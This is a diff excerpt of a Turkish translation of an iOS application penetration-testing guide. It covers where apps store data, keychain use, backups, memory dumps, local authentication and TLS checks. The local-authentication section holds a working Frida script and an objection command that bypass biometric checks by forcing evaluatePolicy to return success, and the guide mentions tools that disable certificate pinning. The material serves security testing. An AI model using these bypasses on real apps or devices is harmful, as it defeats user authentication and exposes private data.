`/var/mobile/containers/Data/Application/` altında yer alır. Bu uygulamalar, dizin adlarının rastgeleliği nedeniyle bir uygulamanın klasörünü manuel olarak bulmayı zorlaştıran **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcıya atanır. > [!WARNING] > iOS'taki uygulamalar sandbox'lanmış olmalıdır, bu nedenle her uygulamanın **`$HOME/Library/Containers`** içinde uygulamanın **`CFBundleIdentifier`** olarak adlandırılan bir klasörü de olacaktır. > -> Ancak, her iki klasör (veri ve konteyner klasörleri) **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir ve bu dosya, `MCMetadataIdentifier` anahtarında her iki dosyayı bağlar. +> Ancak, her iki klasör (veri ve konteyner klasörleri) de `MCMetadataIdentifier` anahtarında her iki dosyayı bağlayan **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir. -Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection tool** yararlı bir komut sağlar, `env`. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır: +Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection tool** yararlı bir komut olan `env` sağlar. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -238,7 +238,7 @@ lsof -p | grep -i "/containers" | head -n 1 - Kullanıcı tarafından oluşturulan tüm verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır. - Kullanıcılara görünür ve **kullanıcılar buraya yazabilir**. - Bu dizindeki içerik **yedeklenir**. -- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir. +- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını yaparak yolları devre dışı bırakabilir. - **Library/** - **Kullanıcıya özel olmayan** tüm **dosyaları** içerir, örneğin **önbellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları. - iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir. @@ -251,10 +251,10 @@ lsof -p | grep -i "/containers" | head -n 1 - Uygulamanın çalışması için gerekli **kalıcı** **dosyaları** içerir. - **Kullanıcılara görünmez** ve kullanıcılar buraya yazamaz. - Bu dizindeki içerik **yedeklenir**. -- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir. +- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını yaparak yolları devre dışı bırakabilir. - **Library/Preferences/** - Uygulama yeniden başlatılsa bile **kalıcı** olabilen özellikleri saklamak için kullanılır. -- Bilgiler, uygulama kumanda alanında, \[BUNDLE_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak kaydedilir. +- Bilgiler, şifrelenmemiş olarak, uygulama kumanda alanında \[BUNDLE_ID].plist adlı bir plist dosyasında saklanır. - `NSUserDefaults` kullanılarak saklanan tüm anahtar/değer çiftleri bu dosyada bulunabilir. - **tmp/** - Uygulama başlatmaları arasında kalıcı olması gerekmeyen **geçici dosyalar** yazmak için bu dizini kullanın. @@ -277,7 +277,7 @@ Regular 420 None ... LICENSE.txt Regular 420 None ... Sentinel.txt Regular 420 None ... README.txt ``` -### Binary Reversing +### İkili Tersine Mühendislik `.app` klasörünün içinde `` adında bir ikili dosya bulacaksınız. Bu, **çalıştırılacak** dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla gerçekleştirebilirsiniz: ```bash @@ -295,7 +295,7 @@ DVIA-v2: ``` **Uygulamanın şifrelenip şifrelenmediğini kontrol et** -Şu çıktının olup olmadığını kontrol edin: +Aşağıdaki için herhangi bir çıktı olup olmadığını kontrol edin: ```bash otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` @@ -366,14 +366,14 @@ ios-basics.md {{#endref}} > [!WARNING] -> Bilgileri depolamak için aşağıdaki yerler **uygulama yüklendikten hemen sonra**, **uygulamanın tüm işlevsellikleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkış yapıp farklı bir kullanıcıya giriş yaptıktan sonra** kontrol edilmelidir.\ +> Bilgileri depolamak için aşağıdaki yerler **uygulama yüklendikten hemen sonra**, **uygulamanın tüm işlevsellikleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkış yapıldıktan ve farklı bir kullanıcıya giriş yapıldıktan sonra** kontrol edilmelidir.\ > Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve daha önce giriş yapmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır. ### Plist **plist** dosyaları, **anahtar-değer çiftleri** içeren yapılandırılmış XML dosyalarıdır. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Uygulamayı yükledikten sonra ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmeniz önerilir. -Plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanımıdır. Bu plist dosyası, uygulama kumandası içinde **`Library/Preferences/.plist`** konumunda kaydedilir. +Plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, uygulama kumandasının içinde **`Library/Preferences/.plist`** konumunda kaydedilir. [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim kurmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihleri** doğrultusunda davranışını özelleştirmesine olanak tanır. `NSUserDefaults` ile kaydedilen veriler uygulama paketinde görüntülenebilir. Bu sınıf, **verileri** bir **plist** **dosyasında** saklar, ancak küçük miktarlardaki verilerle kullanılmak üzere tasarlanmıştır. @@ -385,7 +385,7 @@ Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private ```bash find ./ -name "*.plist" ``` -**XML veya ikili (bplist)** formatındaki dosyaları XML'ye dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur: +**XML veya ikili (bplist) formatındaki dosyaları XML'ye dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:** **macOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu, macOS'ta (10.2+) bu amaç için tasarlanmış yerleşik bir araçtır: ```bash @@ -396,7 +396,7 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut vardır: +**Bir Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut vardır: ```bash ios plist cat /private/var/mobile/Containers/Data/Application//Library/Preferences/com.some.package.app.plist ``` @@ -407,7 +407,7 @@ CoreData varsayılan olarak verilerini şifrelemez. Ancak, CoreData'ya ek bir ş Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz. -**SQLite'ı açabiliyorsanız ve hassas bilgilere erişebiliyorsanız, o zaman bir yanlış yapılandırma bulmuşsunuz demektir.** +**SQLite'ı açıp hassas bilgilere erişebiliyorsanız, o zaman bir yanlış yapılandırma bulmuşsunuz demektir.** ```objectivec:Code from iGoat -(void)storeDetails { AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); @@ -438,7 +438,7 @@ Yap veritabanları sqlite veritabanları olduğundan, önceki bölümde önerile ### Diğer SQLite Veritabanları -Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı** **veri** **saklıyor** olabilirler ve bunu şifrelemeden bırakabilirler. Bu nedenle, her zaman uygulama dizinindeki her veritabanını kontrol etmek ilginçtir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`) +Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **hassas** **veri** **saklıyor** olabilirler ve bunu şifrelemeden bırakabilirler. Bu nedenle, uygulama dizinindeki her veritabanını kontrol etmek her zaman ilginçtir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` @@ -463,9 +463,9 @@ default.realm default.realm.lock default.realm.management/ default.realm.note $ find ./ -name "*.realm*" ``` -Bu veritabanı dosyalarını görüntülemek için, [**Realm Studio**](https://github.com/realm/realm-studio) aracının kullanılması önerilir. +Bu veritabanı dosyalarını görüntülemek için [**Realm Studio**](https://github.com/realm/realm-studio) aracının kullanılması önerilir. -Bir Realm veritabanında şifreleme uygulamak için, aşağıdaki kod parçası kullanılabilir: +Bir Realm veritabanında şifreleme uygulamak için aşağıdaki kod parçası kullanılabilir: ```swift // Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server let config = Realm.Configuration(encryptionKey: getKey()) @@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)") ``` ### Couchbase Lite Veritabanları -[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **gömülü** bir veritabanı motoru olarak tanımlanır ve **belge odaklı** (NoSQL) yaklaşımı takip eder. **iOS** ve **macOS** için yerel olacak şekilde tasarlanmış olup, verileri sorunsuz bir şekilde senkronize etme yeteneği sunar. +[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **belge odaklı** (NoSQL) yaklaşımını izleyen **hafif** ve **gömülü** bir veritabanı motoru olarak tanımlanmaktadır. **iOS** ve **macOS** için yerel olacak şekilde tasarlanmış olup, verileri sorunsuz bir şekilde senkronize etme yeteneği sunar. Bir cihazda potansiyel Couchbase veritabanlarını tanımlamak için aşağıdaki dizin incelenmelidir: ```bash @@ -487,9 +487,9 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S ``` ### Çerezler -iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **keychain** içinde saklamayı tercih ederler çünkü bahsedilen **çerez dosyası yedeklerde erişilebilir**. +iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **keychain** içinde saklamayı tercih ederler çünkü belirtilen **çerez dosyası yedeklerde erişilebilir**. -Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\ +Çerez dosyasını incelemek için [**bu python scriptini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\ **Bu dosyaları JSON formatına** dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json @@ -508,7 +508,7 @@ iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/ ``` ### Cache -Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/`) ve `/Library/Caches/` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu n**ormal bir SQLite veritabanıdır**. +Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alınmışsa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/`) ve `/Library/Caches/` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu **normal bir SQLite veritabanıdır**. Bu verilerin önbelleğe alınmasını **devre dışı bırakmanız önerilir**, çünkü istek veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir: @@ -528,13 +528,13 @@ Bu yöntem, Cache.db dosyasından tüm önbelleğe alınmış istekleri ve yanı ### Snapshots -Ana düğmeye her bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** böylece uygulamaya geçiş çok daha akıcı bir şekilde yapılabilir. Ancak, eğer mevcut ekranda **hassas** **veri** varsa, bu **görüntüye** **kaydedilir** (bu **yeniden başlatmalarda** **sürdürülür**). Bunlar, uygulamalar arasında geçiş yapmak için ana ekranı çift tıklayarak erişebileceğiniz anlık görüntülerdir. +Ana düğmeye her bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** böylece uygulamaya geçiş çok daha akıcı bir şekilde yapılabilir. Ancak, eğer mevcut ekranda **hassas** **veri** varsa, bu **görüntüde** **kaydedilir** (bu **yeniden başlatmalarda** **sürdürülür**). Bunlar, uygulamalar arasında geçiş yapmak için ana ekranı çift tıklayarak erişebileceğiniz anlık görüntülerdir. iPhone jailbreak edilmedikçe, **saldırganın** bu ekran görüntülerini görebilmesi için **cihaza** **erişimi** **açık** olması gerekir. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe depolanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez). Bu kötü davranışı önlemenin bir yolu, `ApplicationDidEnterBackground()` fonksiyonunu kullanarak anlık görüntü almadan önce boş bir ekran koymak veya hassas verileri kaldırmaktır. -Aşağıda, varsayılan bir ekran görüntüsü ayarlayacak bir örnek düzeltme yöntemi bulunmaktadır. +Aşağıda, varsayılan bir ekran görüntüsü ayarlayacak örnek bir düzeltme yöntemi bulunmaktadır. Swift: ```swift @@ -574,7 +574,7 @@ iOS anahtar zincirine erişim ve yönetim için, jailbreak yapılmış cihazlar #### **Kimlik Bilgilerini Saklama** -**NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtar zincirinde saklamak için idealdir ve NSUserDefaults veya diğer sarmalayıcıları atlamayı sağlar. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır: +**NSURLCredential** sınıfı, NSUserDefaults veya diğer sarmalayıcılar gerektirmeden hassas bilgileri doğrudan anahtar zincirinde saklamak için idealdir. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır: ```swift NSURLCredential *credential; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; @@ -616,7 +616,7 @@ Uygulamanın kaynak kodunu potansiyel sızıntılar için incelerken, `NSLog`, ` ### **Sistem Loglarını İzleme** -Uygulamalar, hassas olabilecek çeşitli bilgileri loglar. Bu logları izlemek için, aşağıdaki gibi araçlar ve komutlar kullanılır: +Uygulamalar, hassas olabilecek çeşitli bilgileri loglar. Bu logları izlemek için, şu araçlar ve komutlar gibi: ```bash idevice_id --list # To find the device ID idevicesyslog -u (| grep ) # To capture the device logs @@ -638,21 +638,21 @@ Log aktivitelerini gözlemlemek için komutlar, sorunları teşhis etmek veya lo ## Yedeklemeler -**Otomatik yedekleme özellikleri**, iOS'a entegre edilmiştir ve cihaz veri kopyalarının iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla oluşturulmasını kolaylaştırır. Bu yedeklemeler, Apple Pay detayları ve Touch ID yapılandırmaları gibi son derece hassas unsurlar hariç, neredeyse tüm cihaz verilerini kapsar. +**Otomatik yedekleme özellikleri**, iOS'a entegre edilmiştir ve iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler, Apple Pay detayları ve Touch ID yapılandırmaları gibi son derece hassas unsurlar hariç, neredeyse tüm cihaz verilerini kapsar. ### Güvenlik Riskleri Yedeklemelere **kurulu uygulamalar ve bunların verilerinin** dahil edilmesi, potansiyel **veri sızıntısı** ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirme riski** sorununu gündeme getirir. Bu riskleri azaltmak için, herhangi bir uygulamanın dizininde veya alt dizinlerinde hassas bilgilerin düz metin olarak saklanmaması önerilir. -### Yedeklemelerden Dosyaları Hariç Tutma +### Yedeklerden Dosyaları Hariç Tutma `Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURL setResourceValue:forKey:error:` ile `NSURLIsExcludedFromBackupKey` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilirler. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini korumak için kritik öneme sahiptir. -### Açıklar için Test Etme +### Zafiyetleri Test Etme -Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) yardım alarak yedeği bulun. Uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin. +Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgeleri](https://support.apple.com/en-us/HT204215) rehberliğinde yedeği bulun. Uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin. -Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanarak ulaşılabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökündeki "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir. +Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanarak ulaşılabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökündeki "Manifest.plist" dosyasındaki "IsEncrypted" anahtarı kontrol edilerek doğrulanabilir. ```xml @@ -665,7 +665,7 @@ Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com) ... ``` -Şifreli yedeklerle başa çıkmak için, [DinoSec'in GitHub reposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) bulunan Python betikleri, **backup_tool.py** ve **backup_passwd.py** gibi, faydalı olabilir, ancak en son iTunes/Finder sürümleriyle uyumlu hale getirmek için ayarlamalar gerektirebilir. [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) ise şifre korumalı yedekler içindeki dosyalara erişim için başka bir seçenektir. +Şifreli yedeklerle başa çıkmak için, [DinoSec'in GitHub reposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) bulunan Python betikleri, **backup_tool.py** ve **backup_passwd.py** gibi, faydalı olabilir, ancak en son iTunes/Finder sürümleriyle uyumlu hale getirmek için ayarlamalar gerektirebilir. [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) ise şifre korumalı yedekler içindeki dosyalara erişmek için başka bir seçenektir. ### Uygulama Davranışını Değiştirme @@ -677,7 +677,7 @@ Bir uygulamanın belleğinde saklanan hassas bilgilerle ilgilenirken, bu veriler ## **Bir Bellek Dökümünü Alma ve Analiz Etme** -Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar, bir uygulamanın işlem belleğini dökme imkanı sunar. Döküm alındıktan sonra, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir. +Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar, bir uygulamanın işlem belleğini dökme imkanı sunar. Döküm alındıktan sonra, bu verilerin analizi, aradığınız bilginin niteliğine bağlı olarak çeşitli araçlar gerektirir. Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir: ```bash @@ -722,7 +722,7 @@ Daha fazla bilgi için iOS kriptografik API'leri ve kütüphaneleri hakkında [h ## Yerel Kimlik Doğrulama -**Yerel kimlik doğrulama**, özellikle uzaktan bir uç noktaya kriptografik yöntemlerle erişimi korumak söz konusu olduğunda kritik bir rol oynamaktadır. Buradaki öz, uygun bir uygulama olmadan yerel kimlik doğrulama mekanizmalarının aşılabileceğidir. +**Yerel kimlik doğrulama**, özellikle uzaktan bir uç noktaya kriptografik yöntemlerle erişimi korumak söz konusu olduğunda kritik bir rol oynar. Buradaki öz, uygun bir uygulama olmadan yerel kimlik doğrulama mekanizmalarının aşılabileceğidir. Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtar zinciri**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilerin kullanıcı kimlik doğrulama diyaloglarını kolaylaştırmak ve gizli verileri güvenli bir şekilde yönetmek için sağlam API'ler sunar. Secure Enclave, Touch ID için parmak izi kimliğini güvence altına alırken, Face ID biyometrik verileri tehlikeye atmadan yüz tanımaya dayanır. @@ -732,20 +732,20 @@ Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği var - **`Security.framework`**: Biyometrik kimlik doğrulaması ile gizli verileri güvence altına alarak daha düşük seviyeli anahtar zinciri hizmetlerine erişim için. Çeşitli [açık kaynaklı sarmalayıcılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtar zinciri erişimini daha basit hale getirir. > [!CAUTION] -> Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` zafiyetler sunmaktadır, çünkü esasen kimlik doğrulama süreçleri için veri iletmeden boolean değerleri döndürmektedir, bu da onları aşılabilir hale getirmektedir (bkz. [Bana öyle dokunma, David Lindner ve diğerleri](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +> Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` zafiyetler sunar, çünkü esasen kimlik doğrulama süreçleri için veri iletmeden boolean değerleri döndürürler, bu da onları aşılabilir hale getirir (bkz. [Bana öyle dokunma, David Lindner ve diğerleri](https://www.youtube.com/watch?v=XhXIHVGCFFM)). ### Yerel Kimlik Doğrulama Uygulaması Kullanıcılardan kimlik doğrulama istemek için geliştiricilerin **`LAContext`** sınıfındaki **`evaluatePolicy`** yöntemini kullanmaları gerekir ve şu seçeneklerden birini seçmelidirler: -- **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için istemde bulunur, ikisi de etkin değilse başarısız olur. -- **`deviceOwnerAuthenticationWithBiometrics`**: Sadece Touch ID için istemde bulunur. +- **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi istemektedir, ikisi de etkin değilse başarısız olur. +- **`deviceOwnerAuthenticationWithBiometrics`**: Sadece Touch ID istemektedir. Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle belirtilir ve bu, potansiyel bir güvenlik açığını vurgular. ### Anahtar Zinciri Kullanarak Yerel Kimlik Doğrulama -iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama token'ları gibi gizli verileri güvenli bir şekilde depolamak için **anahtar zinciri API'lerini** kullanmayı içerir. Bu süreç, verilerin yalnızca kullanıcının cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulaması ile erişilebileceğini garanti eder. +iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama token'ları gibi gizli verileri güvenli bir şekilde depolamak için **anahtar zinciri API'lerini** kullanmayı içerir. Bu süreç, verilerin yalnızca kullanıcının cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama ile erişilebileceğini garanti eder. Anahtar zinciri, kullanıcı başarılı bir şekilde Touch ID veya cihaz şifresi ile kimlik doğrulaması yapana kadar öğeye erişimi kısıtlayan `SecAccessControl` niteliği ile öğeleri ayarlama yeteneği sunar. Bu özellik, güvenliği artırmak için kritik öneme sahiptir. @@ -822,7 +822,7 @@ if (status == noErr) { {{#endtab}} {{#endtabs}} -Artık anahtarlıkta kaydedilen öğeyi talep edebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama penceresini sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil döndürecektir. +Artık anahtarlıkta kaydedilen öğeyi talep edebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama penceresini sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veriyi veya nil döndürecektir. {{#tabs}} {{#tab name="Swift"}} @@ -876,7 +876,7 @@ NSLog(@"Something went wrong"); ### Tespit -Bir uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edilebilir. Bu, `otool` kullanılarak yapılabilir: +Bir uygulamadaki framework'lerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edilebilir. Bu, `otool` kullanılarak yapılabilir: ```bash $ otool -L .app/ ``` @@ -887,13 +887,13 @@ Eğer bir uygulamada `LocalAuthentication.framework` kullanılıyorsa, çıktı ``` Eğer `Security.framework` kullanılıyorsa, yalnızca ikincisi gösterilecektir. -### Yerel Kimlik Doğrulama Çerçevesi Atlatma +### Yerel Kimlik Doğrulama Çerçevesi Bypass #### **Objection** -**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) **LocalAuthentication** mekanizmasını aşmak için bir teknik mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; böylece, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlatmak için özellikle yararlıdır. +**Objection Biometrics Bypass** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) **LocalAuthentication** mekanizmasını aşmak için bir teknik mevcuttur. Bu yaklaşımın temeli, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida** kullanmaktır; böylece, gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu elde edilir. Bu, hatalı biyometrik kimlik doğrulama süreçlerini aşmak için özellikle faydalıdır. -Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır: +Bu bypass'ı etkinleştirmek için aşağıdaki komut kullanılır: ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable @@ -936,7 +936,7 @@ dispatch_async(dispatch_get_main_queue(), ^{ ``` Yerel Kimlik Doğrulama'nın **bypass** edilmesi için bir Frida scripti yazılmıştır. Bu script, **evaluatePolicy** kontrolünü hedef alır ve geri çağrısını keserek **success=1** döndürmesini sağlar. Geri çağrının davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde bypass edilir. -Aşağıdaki script, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri çağrının sonucunu her zaman başarıyı gösterecek şekilde değiştirir. +Aşağıdaki script, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilmiştir. Geri çağrının sonucunu her zaman başarıyı gösterecek şekilde değiştirir. ```swift // from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/ if(ObjC.available) { @@ -1017,19 +1017,19 @@ burp-configuration-for-ios.md ### Hostname Kontrolü -TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalanıp imzalanmadığını kontrol etmektir, ancak **sertifikanın hostname'inin** erişilen hostname ile eşleşip eşleşmediğini **kontrol etmemektir**.\ +TLS sertifikasını doğrularken yaygın bir sorun, sertifikanın **güvenilir** bir **CA** tarafından imzalandığını kontrol etmektir, ancak **sertifikanın hostname'inin** erişilen hostname ile eşleşip eşleşmediğini **kontrol etmemektir**.\ Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir zayıflık vardır. ### Sertifika Pinning -Eğer bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, o zaman uygulama yalnızca beklenen sertifika ile çalışır. Bir uygulamayı test ederken **bu, Burp kendi sertifikasını sunacağı için bir sorun olabilir.**\ -Jailbroken bir cihazda bu korumayı aşmak için, [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) uygulamasını yükleyebilir veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz. +Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika ile çalışır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunacaktır.**\ +Bu korumayı jailbreak'li 